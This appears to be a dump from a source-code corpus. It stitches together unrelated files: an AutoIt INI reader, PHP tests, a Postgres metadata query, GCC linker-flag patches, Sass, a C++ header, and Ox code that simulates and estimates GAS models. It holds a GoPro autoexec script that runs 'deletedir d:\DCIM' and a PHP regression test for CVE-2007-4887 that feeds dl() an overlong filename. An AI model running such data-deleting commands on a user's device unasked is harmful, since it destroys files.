; if the file is smaller than 32kb, no need for regex
If $i_size <= 31 Then
$a_secread = IniReadSection($v_file, $s_section)
If @error Then Return SetError(@error, 0, 0)
If Not IsArray($a_secread) Then Return SetError(-2, 0, 0)
Return $a_secread
EndIf
EndIf
Local $s_fread
If Not $f_exists Then
; string of data was passed
$s_fread = $v_file
Else
$s_fread = FileRead($v_file)
EndIf
; data between sections or till end of file
Local $s_datapatt = "(?is)(?:^|\v)(?!;|#)\h*\[\h*\Q"
$s_datapatt &= $s_section
$s_datapatt &= "\E\h*\]\h*\v+(.*?)(?:\z|\v\h*\[)"
Local $a_data = StringRegExp($s_fread, $s_datapatt, 1)
If @error Then Return SetError(-3, 0, 0)
; sanity check for inf people
If Not StringInStr($a_data[0], "=", 1, 1) Then
Return SetError(-4, 0, 0)
EndIf
; since we stop at cr/lf then lets just split
Local $a_lines
If StringInStr($a_data[0], @CRLF, 1, 1) Then
$a_lines = StringSplit(StringStripCR($a_data[0]), @LF)
ElseIf StringInStr($a_data[0], @LF, 1, 1) Then
$a_lines = StringSplit($a_data[0], @LF)
Else
$a_lines = StringSplit($a_data[0], @CR)
EndIf
; prevent capturing commented keys
Local $a_key, $a_value
Local $s_keypatt = "\h*(?!;|#)(.*?)\h*="
Local $s_valpatt = "\h*=\h*(.*)"
Local $a_secs[$a_lines[0] + 1][2], $i_add = 0
For $iline = 1 To $a_lines[0]
$a_key = StringRegExp($a_lines[$iline], $s_keypatt, 1)
If @error Then ContinueLoop
$s_valpatt = "\h*=\h*(.*)"
$a_value = StringRegExp($a_lines[$iline], $s_valpatt, 1)
If @error Then ContinueLoop
If StringLeft($a_key[0], 1) = '"' And StringRight($a_key[0], 1) = '"' Then
$a_key[0] = StringTrimLeft(StringTrimRight($a_key[0], 1), 1)
EndIf
If StringLeft($a_value[0], 1) = '"' And StringRight($a_value[0], 1) = '"' Then
$a_value[0] = StringTrimLeft(StringTrimRight($a_value[0], 1), 1)
EndIf
$i_add += 1
$a_secs[$i_add][0] = $a_key[0]
$a_secs[$i_add][1] = $a_value[0]
Next
If Not $i_add Then Return SetError(-5, 0, 0)
; cleanup return array
ReDim $a_secs[$i_add + 1][2]
$a_secs[0][0] = $i_add
Return $a_secs
EndFunc
; change added - SmOke_N - 2011/05/18
Func _IniReadEx($v_file, $s_section, $s_key, $v_default = -1)
If Not $v_file Then Return SetError(-1, 0, 0)
If $v_default = -1 Or $v_default = Default Then
$v_default = ""
EndIf
Local $f_exists = FileExists($v_file)
Local $i_size, $s_read
If $f_exists Then
$i_size = FileGetSize($v_file) / 1024
; if the file is smaller than 32kb, no need for regex
If $i_size <= 31 Then
$s_read = IniRead($v_file, $s_section, $s_key, $v_default)
Return $s_read
EndIf
EndIf
Local $s_fread
If Not $f_exists Then
; string of data was passed
$s_fread = $v_file
Else
$s_fread = FileRead($v_file)
EndIf
; data between sections or till end of file
Local $s_datapatt = "(?is)(?:^|\v)(?!;|#)\h*\[\h*\Q"
$s_datapatt &= $s_section
$s_datapatt &= "\E\h*\]\h*\v+(.*?)(?:\z|\v\h*\[)"
Local $a_data = StringRegExp($s_fread, $s_datapatt, 1)
If @error Then Return SetError(-2, 0, 0)
; sanity check for inf people
If Not StringInStr($a_data[0], "=", 1, 1) Then
Return SetError(-3, 0, 0)
EndIf
; since we stop at cr/lf then lets just split
Local $a_lines
If StringInStr($a_data[0], @CRLF, 1, 1) Then
$a_lines = StringSplit(StringStripCR($a_data[0]), @LF)
ElseIf StringInStr($a_data[0], @LF, 1, 1) Then
$a_lines = StringSplit($a_data[0], @LF)
Else
$a_lines = StringSplit($a_data[0], @CR)
EndIf
; prevent capturing commented keys
Local $a_key, $a_value, $s_ret
Local $s_keypatt = "\h*(?!;|#)(.*?)\h*="
Local $s_valpatt = "\h*=\h*(.*)"
For $iline = 1 To $a_lines[0]
$a_key = StringRegExp($a_lines[$iline], $s_keypatt, 1)
If @error Then ContinueLoop
If StringLeft($a_key[0], 1) = '"' And StringRight($a_key[0], 1) = '"' Then
$a_key[0] = StringTrimLeft(StringTrimRight($a_key[0], 1), 1)
EndIf
If $a_key[0] <> $s_key Then ContinueLoop
$s_valpatt = "\h*=\h*(.*)"
$a_value = StringRegExp($a_lines[$iline], $s_valpatt, 1)
If @error Then ContinueLoop
If StringLeft($a_value[0], 1) = '"' And StringRight($a_value[0], 1) = '"' Then
$a_value[0] = StringTrimLeft(StringTrimRight($a_value[0], 1), 1)
EndIf
$s_ret = $a_value[0]
ExitLoop
Next
If Not $s_ret Then Return $v_default
Return $s_ret
EndFunc | AutoIt | 5 | sdoddler/D-D-Software-Suite | Include/IniEx.au3 | [
"Unlicense"
] |
setenv LESSOPEN "|/usr/bin/lesspipe.sh %s"
setenv LESS_ADVANCED_PREPROCESSOR 1
| Tcsh | 2 | joedavis/void-packages | srcpkgs/lesspipe/files/lesspipe.csh | [
"BSD-2-Clause"
] |
--TEST--
Bug #35705 (strtotime() fails to parse soap date format without TZ)
--FILE--
<?php
date_default_timezone_set("UTC");
echo date(DATE_ISO8601, strtotime('2000-10-10T10:12:30.000')) . "\n";
?>
--EXPECT--
2000-10-10T10:12:30+0000
| PHP | 4 | guomoumou123/php5.5.10 | ext/date/tests/bug35705.phpt | [
"PHP-3.01"
] |
SELECT
"function_info".function_schema,
"function_info".function_name,
coalesce("function_info".info, '[]'::json) AS info
FROM (
SELECT
function_name,
function_schema,
-- This field corresponds to the 'RawFunctionInfo' Haskell type
json_agg(
json_build_object(
'oid', "pg_function".function_oid,
'description', "pg_function".description,
'has_variadic', "pg_function".has_variadic,
'function_type', "pg_function".function_type,
'return_type_schema', "pg_function".return_type_schema,
'return_type_name', "pg_function".return_type_name,
'return_type_type', "pg_function".return_type_type,
'returns_set', "pg_function".returns_set,
'input_arg_types', "pg_function".input_arg_types,
'input_arg_names', "pg_function".input_arg_names,
'default_args', "pg_function".default_args,
'returns_table', "pg_function".returns_table
)
) AS info
FROM (
-- Necessary metadata from Postgres
SELECT
p.proname::text AS function_name,
pn.nspname::text AS function_schema,
pd.description,
CASE
WHEN (p.provariadic = (0) :: oid) THEN false
ELSE true
END AS has_variadic,
CASE
WHEN (
(p.provolatile) :: text = ('i' :: character(1)) :: text
) THEN 'IMMUTABLE' :: text
WHEN (
(p.provolatile) :: text = ('s' :: character(1)) :: text
) THEN 'STABLE' :: text
WHEN (
(p.provolatile) :: text = ('v' :: character(1)) :: text
) THEN 'VOLATILE' :: text
ELSE NULL :: text
END AS function_type,
pg_get_functiondef(p.oid) AS function_definition,
rtn.nspname::text as return_type_schema,
rt.typname::text as return_type_name,
rt.typtype::text as return_type_type,
p.proretset AS returns_set,
( SELECT
COALESCE(json_agg(
json_build_object('schema', q."schema",
'name', q."name",
'type', q."type"
)
), '[]')
FROM
(
SELECT
pt.typname AS "name",
pns.nspname AS "schema",
pt.typtype AS "type",
pat.ordinality
FROM
unnest(
COALESCE(p.proallargtypes, (p.proargtypes) :: oid [])
) WITH ORDINALITY pat(oid, ordinality)
LEFT JOIN pg_type pt ON ((pt.oid = pat.oid))
LEFT JOIN pg_namespace pns ON (pt.typnamespace = pns.oid)
ORDER BY pat.ordinality ASC
) q
) AS input_arg_types,
to_json(COALESCE(p.proargnames, ARRAY [] :: text [])) AS input_arg_names,
p.pronargdefaults AS default_args,
p.oid::integer AS function_oid,
(exists(
SELECT
1
FROM
information_schema.tables
WHERE
table_schema = rtn.nspname::text
AND table_name = rt.typname::text
) OR
exists(
SELECT
1
FROM
pg_matviews
WHERE
schemaname = rtn.nspname::text
AND matviewname = rt.typname::text
)
) AS returns_table
FROM
pg_proc p
JOIN pg_namespace pn ON (pn.oid = p.pronamespace)
JOIN pg_type rt ON (rt.oid = p.prorettype)
JOIN pg_namespace rtn ON (rtn.oid = rt.typnamespace)
LEFT JOIN pg_description pd ON p.oid = pd.objoid
WHERE
-- Do not fetch some default functions in public schema
p.proname :: text NOT LIKE 'pgp_%'
AND p.proname :: text NOT IN
( 'armor'
, 'crypt'
, 'dearmor'
, 'decrypt'
, 'decrypt_iv'
, 'digest'
, 'encrypt'
, 'encrypt_iv'
, 'gen_random_bytes'
, 'gen_random_uuid'
, 'gen_salt'
, 'hmac'
)
AND pn.nspname :: text NOT LIKE 'pg_%'
AND pn.nspname :: text NOT IN ('information_schema', 'hdb_catalog')
AND (NOT EXISTS (
SELECT
1
FROM
pg_aggregate
WHERE
((pg_aggregate.aggfnoid) :: oid = p.oid)
)
)
) AS "pg_function"
GROUP BY "pg_function".function_schema, "pg_function".function_name
) "function_info"
| SQL | 5 | gh-oss-contributor/graphql-engine-1 | server/src-rsr/pg_function_metadata.sql | [
"Apache-2.0",
"MIT"
] |
func $foo (
var %i i32
#var %i1 i32, var %j1 i32, var %k1 i32
) i32 {
return (
add i32(dread i32 %i,
constval i32 -998))}
func $foo1 (
var %i i32, var %j i32, var %k i32,
var %i1 i32, var %j1 i32, var %k1 i32
) i32 {
return (
add i32(dread i32 %i, dread i32 %j))}
func $foo2 (
var %i i32, var %j i32, var %k i32
) i32 {
return (
add i32(dread i32 %i, constval i32 0x111111111))}
func $foo3 (
var %i i64, var %j i64, var %k i32
) i64 {
return (
add i64(dread i64 %i, constval i64 0x111111111))}
func $foo4 (
var %i i64, var %j i64, var %k i32
)i64 {
return (
add i64(dread i64 %i, dread i64 %j))}
func $foo5 (
var %i i64, var %j i64, var %k i32
) i64 {
return (
add i64(dread i64 %i, constval i64 0x11111))}
func $foo6 (
var %i f64, var %j f64, var %k i32
) f64 {
return (
add f64(dread f64 %i, constval f64 2.237))}
func $foo66 (
var %i f64, var %j f64, var %k i32
) f64 {
return (
add f64(dread f64 %i, constval f64 2.237))}
func $foo7 (
var %i f32, var %j f32, var %k i32
) f32 {
return (
add f32(dread f32 %i, dread f32 %j))}
func $foo8 (
var %i f32, var %j f32, var %k i32
) f32 {
return (
add f32(dread f32 %i, constval f32 2.237f))}
func $foo9 (
var %i i8, var %j u8, var %k i32) i32 {
return (
add i32(dread i32 %i, dread u32 %j))}
# EXEC: %irbuild Main.mpl
# EXEC: %irbuild Main.irb.mpl
# EXEC: %cmp Main.irb.mpl Main.irb.irb.mpl
| Maple | 3 | harmonyos-mirror/OpenArkCompiler-test | test/testsuite/irbuild_test/I0004-mapleall-irbuild-edge-add/Main.mpl | [
"MulanPSL-1.0"
] |
--TEST--
dl() filename length checks (CVE-2007-4887)
--SKIPIF--
<?php
$enabled_sapi = array('cgi-fcgi', 'cli', 'embed', 'fpm');
if (!in_array(php_sapi_name(), $enabled_sapi)) {
die('skip dl() is not enabled for ' . php_sapi_name());
}
?>
--INI--
enable_dl=1
--FILE--
<?php
var_dump(dl(str_repeat("a", 8376757)));
?>
--EXPECTF--
Warning: dl(): Filename exceeds the maximum allowed length of %d characters in %s on line %d
bool(false)
| PHP | 4 | NathanFreeman/php-src | ext/standard/tests/general_functions/dl-cve-2007-4887.phpt | [
"PHP-3.01"
] |
#! /bin/sh -e
dir=
if [ $# -eq 3 -a "$2" = '-d' ]; then
pdir="-d $3"
dir="$3/"
elif [ $# -ne 1 ]; then
echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
exit 1
fi
case "$1" in
-patch)
patch $pdir -f --no-backup-if-mismatch -p0 < $0
;;
-unpatch)
patch $pdir -f --no-backup-if-mismatch -R -p0 < $0
;;
*)
echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
exit 1
esac
exit 0
--- gcc/config/t-slibgcc-elf-ver.orig 2006-10-03 18:16:53.094898500 +0200
+++ gcc/config/t-slibgcc-elf-ver 2006-10-03 18:17:40.061833750 +0200
@@ -14,6 +14,7 @@
SHLIB_LINK = $(GCC_FOR_TARGET) $(LIBGCC2_CFLAGS) -shared -nodefaultlibs \
-Wl,--soname=$(SHLIB_SONAME) \
-Wl,--version-script=$(SHLIB_MAP) \
+ -Wl,-O1 \
-o $(SHLIB_DIR)/$(SHLIB_SONAME).tmp @multilib_flags@ \
$(SHLIB_OBJS) $(SHLIB_LC) && \
rm -f $(SHLIB_DIR)/$(SHLIB_SOLINK) && \
--- libstdc++-v3/src/Makefile.am.orig 2006-10-03 18:16:53.186904250 +0200
+++ libstdc++-v3/src/Makefile.am 2006-10-03 18:17:40.121837500 +0200
@@ -185,6 +185,7 @@
libstdc___la_DEPENDENCIES = ${version_dep} $(libstdc___la_LIBADD)
libstdc___la_LDFLAGS = \
+ -Wl,-O1 \
-version-info $(libtool_VERSION) ${version_arg} -lm
# Use special rules for the deprecated source files so that they find
--- libstdc++-v3/src/Makefile.in.orig 2006-10-03 18:16:53.206905500 +0200
+++ libstdc++-v3/src/Makefile.in 2006-10-03 18:17:40.137838500 +0200
@@ -387,6 +387,7 @@
libstdc___la_DEPENDENCIES = ${version_dep} $(libstdc___la_LIBADD)
libstdc___la_LDFLAGS = \
+ -Wl,-O1 \
-version-info $(libtool_VERSION) ${version_arg} -lm
--- libobjc/Makefile.in.orig 2006-10-03 18:16:53.098898750 +0200
+++ libobjc/Makefile.in 2006-10-03 18:17:40.061833750 +0200
@@ -276,11 +276,13 @@
libobjc$(libext).la: $(OBJS)
$(LIBTOOL_LINK) $(CC) -o $@ $(OBJS) \
-rpath $(toolexeclibdir) \
+ -Wl,-O1 \
-version-info $(LIBOBJC_VERSION) $(extra_ldflags_libobjc)
libobjc_gc$(libext).la: $(OBJS_GC)
$(LIBTOOL_LINK) $(CC) -o $@ $(OBJS_GC) \
-rpath $(toolexeclibdir) \
+ -Wl,-O1 \
-version-info $(LIBOBJC_GC_VERSION) $(extra_ldflags_libobjc)
#
--- libgfortran/Makefile.am.orig 2006-10-03 18:16:53.102899000 +0200
+++ libgfortran/Makefile.am 2006-10-03 18:18:59.566802500 +0200
@@ -7,7 +7,7 @@
gcc_version := $(shell cat $(top_srcdir)/../gcc/BASE-VER)
toolexeclib_LTLIBRARIES = libgfortran.la
-libgfortran_la_LDFLAGS = -version-info `grep -v '^\#' $(srcdir)/libtool-version` -lm $(extra_ldflags_libgfortran)
+libgfortran_la_LDFLAGS = -version-info `grep -v '^\#' $(srcdir)/libtool-version` -lm $(extra_ldflags_libgfortran) -Wl,-O1
myexeclib_LTLIBRARIES = libgfortranbegin.la
myexeclibdir = $(libdir)/gcc/$(target_alias)/$(gcc_version)$(MULTISUBDIR)
--- libgfortran/Makefile.in.orig 2006-10-03 18:16:53.106899250 +0200
+++ libgfortran/Makefile.in 2006-10-03 18:19:17.543926000 +0200
@@ -359,7 +359,7 @@
ACLOCAL_AMFLAGS = -I ../config
gcc_version := $(shell cat $(top_srcdir)/../gcc/BASE-VER)
toolexeclib_LTLIBRARIES = libgfortran.la
-libgfortran_la_LDFLAGS = -version-info `grep -v '^\#' $(srcdir)/libtool-version` -lm $(extra_ldflags_libgfortran)
+libgfortran_la_LDFLAGS = -version-info `grep -v '^\#' $(srcdir)/libtool-version` -lm $(extra_ldflags_libgfortran) -Wl,-O1
myexeclib_LTLIBRARIES = libgfortranbegin.la
myexeclibdir = $(libdir)/gcc/$(target_alias)/$(gcc_version)$(MULTISUBDIR)
libgfortranbegin_la_SOURCES = fmain.c
--- libmudflap/Makefile.am.orig 2006-10-03 18:16:53.182904000 +0200
+++ libmudflap/Makefile.am 2006-10-03 18:17:40.117837250 +0200
@@ -34,7 +34,7 @@
mf-hooks2.c
libmudflap_la_LIBADD =
libmudflap_la_DEPENDENCIES = $(libmudflap_la_LIBADD)
-libmudflap_la_LDFLAGS = -version-info `grep -v '^\#' $(srcdir)/libtool-version`
+libmudflap_la_LDFLAGS = -version-info `grep -v '^\#' $(srcdir)/libtool-version` -Wl,-O1
clean-local:
rm -f pth/*.o pth/*.lo
--- libmudflap/Makefile.in.orig 2006-10-03 18:16:53.182904000 +0200
+++ libmudflap/Makefile.in 2006-10-03 18:17:40.121837500 +0200
@@ -241,7 +241,7 @@
libmudflap_la_LIBADD =
libmudflap_la_DEPENDENCIES = $(libmudflap_la_LIBADD)
-libmudflap_la_LDFLAGS = -version-info `grep -v '^\#' $(srcdir)/libtool-version`
+libmudflap_la_LDFLAGS = -version-info `grep -v '^\#' $(srcdir)/libtool-version` -Wl,-O1
libmudflapth_la_SOURCES =
libmudflapth_la_LIBADD = \
pth/mf-runtime.lo \
--- libffi/Makefile.am.orig 2006-10-03 18:16:53.098898750 +0200
+++ libffi/Makefile.am 2006-10-03 18:17:40.061833750 +0200
@@ -154,7 +154,7 @@
AM_CFLAGS = -Wall -g -fexceptions
-libffi_la_LDFLAGS = -version-info `grep -v '^\#' $(srcdir)/libtool-version`
+libffi_la_LDFLAGS = -version-info `grep -v '^\#' $(srcdir)/libtool-version` -Wl,-O1
AM_CPPFLAGS = -I. -I$(top_srcdir)/include -Iinclude -I$(top_srcdir)/src
AM_CCASFLAGS = $(AM_CPPFLAGS)
--- libffi/Makefile.in.orig 2006-10-03 18:16:53.102899000 +0200
+++ libffi/Makefile.in 2006-10-03 18:17:40.065834000 +0200
@@ -436,7 +436,7 @@
libffi_convenience_la_SOURCES = $(libffi_la_SOURCES)
nodist_libffi_convenience_la_SOURCES = $(nodist_libffi_la_SOURCES)
AM_CFLAGS = -Wall -g -fexceptions
-libffi_la_LDFLAGS = -version-info `grep -v '^\#' $(srcdir)/libtool-version`
+libffi_la_LDFLAGS = -version-info `grep -v '^\#' $(srcdir)/libtool-version` -Wl,-O1
AM_CPPFLAGS = -I. -I$(top_srcdir)/include -Iinclude -I$(top_srcdir)/src
AM_CCASFLAGS = $(AM_CPPFLAGS)
all: fficonfig.h
--- libjava/Makefile.am.orig 2006-10-03 18:16:53.130900750 +0200
+++ libjava/Makefile.am 2006-10-03 18:17:40.093835750 +0200
@@ -97,7 +97,7 @@
GCJLINK = $(LIBTOOL) --tag=GCJ --mode=link $(GCJ) -L$(here) $(JC1FLAGS) \
$(LDFLAGS) -o $@
LIBLINK = $(LIBTOOL) --tag=CXX --mode=link $(CXX) -L$(here) $(JC1FLAGS) \
- $(LDFLAGS) $(extra_ldflags_libjava) -o $@
+ $(LDFLAGS) $(extra_ldflags_libjava) -Wl,-O1 -o $@
GCC_UNWIND_INCLUDE = @GCC_UNWIND_INCLUDE@
--- libjava/Makefile.in.orig 2006-10-03 18:16:53.162902750 +0200
+++ libjava/Makefile.in 2006-10-03 18:17:40.117837250 +0200
@@ -733,7 +733,7 @@
$(LDFLAGS) -o $@
LIBLINK = $(LIBTOOL) --tag=CXX --mode=link $(CXX) -L$(here) $(JC1FLAGS) \
- $(LDFLAGS) $(extra_ldflags_libjava) -o $@
+ $(LDFLAGS) $(extra_ldflags_libjava) -Wl,-O1 -o $@
WARNINGS = -Wextra -Wall
AM_CXXFLAGS = \
| Darcs Patch | 3 | JrCs/opendreambox | recipes/gcc/gcc-4.3.4/debian/link-libs.dpatch | [
"MIT"
] |
class WithEmptyType {}
class OtherType {}
typedef AnotherOne = Int
| Haxe | 2 | jonasmalacofilho/haxe | tests/misc/projects/Issue3288/WithEmptyType.hx | [
"MIT"
] |
BxJ | PureBasic | 0 | pchandrasekaran1595/onnx | onnx/backend/test/data/node/test_tril_zero/test_data_set_0/input_0.pb | [
"Apache-2.0"
] |
data Nat := ('zero : Nat) ; ('suc : (n : Nat) -> Nat) ;
make zero := 'zero : Nat ;
make suc := (\ x -> 'suc x) : Nat -> Nat ;
let plus (m : Nat)(n : Nat) : Nat ;
<= Nat.Ind m ;
= n ;
= 'suc (plus n^1 n) ;
root ;
module Vec ;
lambda A : Set ;
make VecD : Nat -> IDesc Nat ;
give (\ n -> 'fsigmaD ['nil 'cons] [ ('constD (:- (zero == n))) ('sigmaD Nat (\ m -> 'prodD 'a ('constD A) ('prodD 'as ('varD m) ('constD (:- (suc m == n)))))) ]) ;
make Vec : Nat -> Set ;
lambda n ;
give IMu Nat VecD n ;
make nil := 'nil : Vec 'zero ;
make cons := (\ n a as -> 'cons n a as) : (n : Nat) -> A -> Vec n -> Vec ('suc n) ;
make VecInd := iinduction Nat VecD : (m : Nat)(v : Vec m)
(bp : Sig (n : Nat ; Vec n) -> Set)
(me : (k : Nat)(x : idesc Nat (VecD k) Vec)
(hs : idesc (Sig (i : Nat ; Vec i))
(ibox Nat (VecD k) Vec x) bp)
-> bp [k , con x])
-> bp [m , v] ;
let vappend (m : Nat)(as : Vec m)(n : Nat)(bs : Vec n) : Vec (plus m n) ;
<= VecInd m as ;
define vappend 'zero 'nil k bs := bs ;
define vappend ('suc s) ('cons s a as) k bs := cons (plus s k) a (vappend s as k bs) ;
root ;
make A := Enum ['a 'b 'c] : Set ;
elab Vec.vappend A 'zero 'nil 'zero 'nil ;
make vab := 'cons ('suc 'zero) 'a ('cons 'zero 'b 'nil) : Vec.Vec A ('suc ('suc 'zero)) ;
elab vab ;
elab Vec.vappend A ('suc ('suc 'zero)) vab ('suc ('suc 'zero)) vab ;
let vtail (A : Set)(n : Nat)(as : Vec.Vec A ('suc n)) : Vec.Vec A n ;
<= Vec.VecInd A ('suc n) as ;
define vtail A s ('cons s a as) := as ;
root ;
elab vtail A ('suc 'zero) vab ; | PigLatin | 3 | mietek/epigram | test/LetVec.pig | [
"MIT"
] |
/*
* Copyright (c) 2020, Andreas Kling <kling@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#pragma once
#include <AK/Vector.h>
#include <LibWeb/Layout/Node.h>
namespace Web::Layout {
class StackingContext {
public:
StackingContext(Box&, StackingContext* parent);
StackingContext* parent() { return m_parent; }
const StackingContext* parent() const { return m_parent; }
enum class StackingContextPaintPhase {
BackgroundAndBorders,
Floats,
Foreground,
FocusAndOverlay,
};
void paint_descendants(PaintContext&, Node&, StackingContextPaintPhase);
void paint(PaintContext&);
HitTestResult hit_test(const Gfx::IntPoint&, HitTestType) const;
void dump(int indent = 0) const;
private:
Box& m_box;
StackingContext* const m_parent { nullptr };
Vector<StackingContext*> m_children;
void paint_internal(PaintContext&);
};
}
| C | 3 | r00ster91/serenity | Userland/Libraries/LibWeb/Painting/StackingContext.h | [
"BSD-2-Clause"
] |
@import './_variables.scss'
// Theme
+theme(v-calendar-category) using ($material)
.v-calendar-category__column,
.v-calendar-category__column-header
border-right: map-deep-get($material, 'calendar', 'line-color') $calendar-line-width solid
.v-calendar-category
.v-calendar-category__category
text-align: center
.v-calendar-daily__day-container
.v-calendar-category__columns
position: absolute
height: 100%
width: 100%
top: 0
.v-calendar-category__columns
display: flex
.v-calendar-category__column,
.v-calendar-category__column-header
flex: 1 1 auto
width: 0
position: relative
| Sass | 3 | Mikilll94/vuetify | packages/vuetify/src/components/VCalendar/VCalendarCategory.sass | [
"MIT"
] |
t app appmode photo
t app button shutter PR
sleep 3
t app led red_front on
sleep 10
t app led red_front off
sleep 1
deletedir d:\DCIM
reboot yes
| AGS Script | 1 | waltersgrey/autoexechack | deletemedia/deletephoto/HERO3PlusSilver/autoexec.ash | [
"MIT"
] |
/*
** Master Thesis Econometrics
**
** Purpose:
** For some fixed parameter values simulate and estimate T-GAS(1,1) model parameters
** with Maximum Likelikhood many times. s.t. stationarity conditions of Bougerol's Theorem
**
** Date:
** 15/08/2015
**
** Author:
** Tamer Dilaver
**
** Supervisor:
** Fransisco Blasques
**
*/
#include <oxstd.h>
#include <oxdraw.h>
#include <oxprob.h>
#include <maximize.h>
#import <modelbase>
#import <simula>
#include <oxfloat.h>
static decl iB; //Repeats
static decl iSIZE; //Size of time series
static decl iSTEPS; //#Steps to divide the size
static decl iSIMS; //# of Zt ~ N(0,1)
static decl dLAMBDA; //Degrees of freedom
static decl dALPHA; //dALPHA is actually dA (please change this later)
static decl dBETA;
static decl dOMEGA;
static decl dGAMMA;
static decl iPARS; //number of parameters
static decl vSTD_NORM; // Zt ~ N(0,1)
static decl vSTD_STUDENT_T; // Zt ~ TID(lambda)
static decl mSTD_STUDENT_T;
static decl s_vY; //Simulated returns
static decl bSTD_ERROR; //0 or 1 binary
/*
** Function: Transform (start)parameters
**
** Input: vTheta [parametervalues]
**
** Output: vThetaStar
*/
fTransform2(const avThetaStar, const vTheta){
avThetaStar[0]= vTheta;
avThetaStar[0][0] = log(vTheta[0]);
return 1;
}
/*
** Function: Transform parameters back
**
** Input: vThetaStar
**
** Output: vTheta [parametervalues]
*/
fTransformBack2(const avTheta, const vThetaStar){
avTheta[0]= vThetaStar;
avTheta[0][0] = exp(vThetaStar[0]);
return 1;
}
/*
** Function: Extract the parameters from vTheta
**
** Input: adBeta, vTheta
**
** Output: 1
*/
fGetPars2(const adBeta, const vTheta){
adBeta[0] = exp(vTheta[0]);
return 1;
}
/*
** Function: Calculate targetvalue -[ E log(alpha_0 z_t^2 + beta_0) ]^2 for given parameters
**
** Input: vTheta [parametervalues], adFunc [adres functionvalue], avScore [the score], amHessian [hessianmatrix]
**
** Output: 1
**
*/
fExpectation(const vTheta, const adFunc, const avScore, const amHessian){
decl dBeta;
fGetPars2( &dBeta, vTheta);
//NOTICE: Since maxBFGS() is a function that maximimises I have squared the target function
//and then I have put a negative sign in front of it. This ensures that maximising will
//effectively search for the value for when the target function is zero.
adFunc[0] = - (meanc(log(fabs(dALPHA*((dLAMBDA+3)/dLAMBDA) *((dLAMBDA+1)/(dLAMBDA-2)*(1+(vSTD_STUDENT_T.^2)/(dLAMBDA-2)).^(-1).* vSTD_STUDENT_T.^2 -1) + dBeta))))^2;
return 1;
}
/*
** Function: Get the value for beta subject to Elog(alpha_0 (v+3)/v [(v+1)/(v+2)(1+z_t^2/(v-2))^-1 z_t^2 - 1] + beta_0) = 0 for given parameters and simulated Zt's
**
** Input: iSims, adBeta
**
** Output: 1
**
*/
fGetBeta(const iSims, const adBeta)
{
decl vTheta, vThetaStart, vThetaStar, dFunc, iA;
//initialise startparameter(s)
vTheta = zeros(1,1);
vTheta = <0.9>; // dBeta
vThetaStart = vTheta;
//transform startparameter(s)
fTransform2(&vThetaStar, vTheta);
//maximise
iA=MaxBFGS(fExpectation, &vThetaStar, &dFunc, 0, TRUE);
//Transform thetasStar back
fTransformBack2(&vTheta, vThetaStar);
print("\nStart & Optimal parameter(s) with A_0 fixed at ",dALPHA,",lambda fixed at ",dLAMBDA," and ",iSIMS," simulations such that we get I(1). \n",
"%r", { "dBeta"},
"%c", {"thetaStart","theta"}, vThetaStart~vTheta);
adBeta[0] = vTheta[0];
return 1;
}
/*
** Function: Simulate GAS returns for given parameters
**
** Input: dAlpha, dBeta, dOmega, dLambda, avReturns, iIteration [to get different Zt's]
**
** Output: 1
**
*/
fSimGAS(const dAlpha, const dBeta, const dOmega, const dLambda, const dGamma, const avReturns, const iIteration){
decl vTemp, vH;
vTemp = vH = zeros(iSIZE+1, 1);
vH[0]= dGamma; //by definition
for(decl i = 0; i < iSIZE; i++){
vTemp[i] = sqrt(vH[i])*vSTD_STUDENT_T[(i + (iIteration*iSIZE))];
vH[i+1] = dOmega + dAlpha*(dLambda+3)/dLambda*((dLambda+1)/(dLambda-2)*(1+sqr(vTemp[i])/((dLambda-2)*vH[i]))^(-1)*sqr(vTemp[i])-vH[i]) + dBeta*vH[i];
}
vTemp = dropr(vTemp,iSIZE);
vH = dropr(vH,iSIZE);
avReturns[0] = vTemp;
return 1;
}
fSimGAS2(const dAlpha, const dBeta, const dOmega, const dLambda, const dGamma, const avReturns, const iIteration){
decl vTemp, vH;
vTemp = vH = zeros(iSIZE+1, 1);
vH[0]= dGamma; //by definition
for(decl i = 0; i < iSIZE; i++){
vTemp[i] = sqrt(vH[i])*mSTD_STUDENT_T[iIteration][i];
vH[i+1] = dOmega + dAlpha*(dLambda+3)/dLambda*((dLambda+1)/(dLambda-2)*(1+sqr(vTemp[i])/((dLambda-2)*vH[i]))^(-1)*sqr(vTemp[i])-vH[i]) + dBeta*vH[i];
}
vTemp = dropr(vTemp,iSIZE);
vH = dropr(vH,iSIZE);
avReturns[0] = vTemp;
return 1;
}
/*
** Function: Transform (start)parameters
**
** Input: vTheta [parametervalues]
**
** Output: vThetaStar
*/
fTransform(const avThetaStar, const vTheta){
avThetaStar[0]= vTheta;
avThetaStar[0][0] = log(vTheta[0]);
avThetaStar[0][1] = log(vTheta[1]);
avThetaStar[0][2] = log(vTheta[2]-4)-log(100-vTheta[2]);
return 1;
}
/*
** Function: Extract the parameters from vTheta
**
** Input: adAlpha, adBeta, aOmega, adLambda, vTheta
**
** Output: 1
*/
fGetPars(const adAlpha, const adBeta, const adLambda, const vTheta){
adAlpha[0] = exp(vTheta[0]);
adBeta[0] = exp(vTheta[1]);
adLambda[0] = 4+(100-4)*exp(vTheta[2])/(1+exp(vTheta[2]));
return 1;
}
/*
** Function: Calculates average value loglikelihood for GAS given parameter values
**
** Input: vTheta [parametervalues], adFunc [adres functievalue], avScore [the score], amHessian [hessianmatrix]
**
** Output: 1
**
*/
fLogLike_GAS(const vTheta, const adFunc, const avScore, const amHessian){
decl dAlpha, dBeta, dLambda;
fGetPars( &dAlpha, &dBeta, &dLambda, vTheta);
decl dS2 = dGAMMA; //initial condition by definition
decl vLogEta = zeros(sizerc(s_vY), 1);
//Please make these more efficient!!! delete the log()
for(decl i = 0; i < sizerc(s_vY); ++i){
//likelihood contribution
vLogEta[i] = -1/2*log(M_PI)-1/2*log(dLambda-2) -1/2*log(dS2) -log(gammafact(dLambda/2))+log(gammafact((dLambda+1)/2)) -(dLambda+1)/2*log(1+ s_vY[i]^2 / ((dLambda-2)*dS2));
//GAS recursion
dS2 = dOMEGA + dAlpha*(dLambda+3)/dLambda*((dLambda+1)/(dLambda-2)*(1+sqr( s_vY[i])/((dLambda-2)* dS2))^(-1)*sqr( s_vY[i]) - dS2) + dBeta*dS2;
}
adFunc[0] = sumc(vLogEta)/sizerc(s_vY); //Average
return 1;
}
/*
** Function: Transform parameters back
**
** Input: vThetaStar
**
** Output: vTheta [parametervalues]
*/
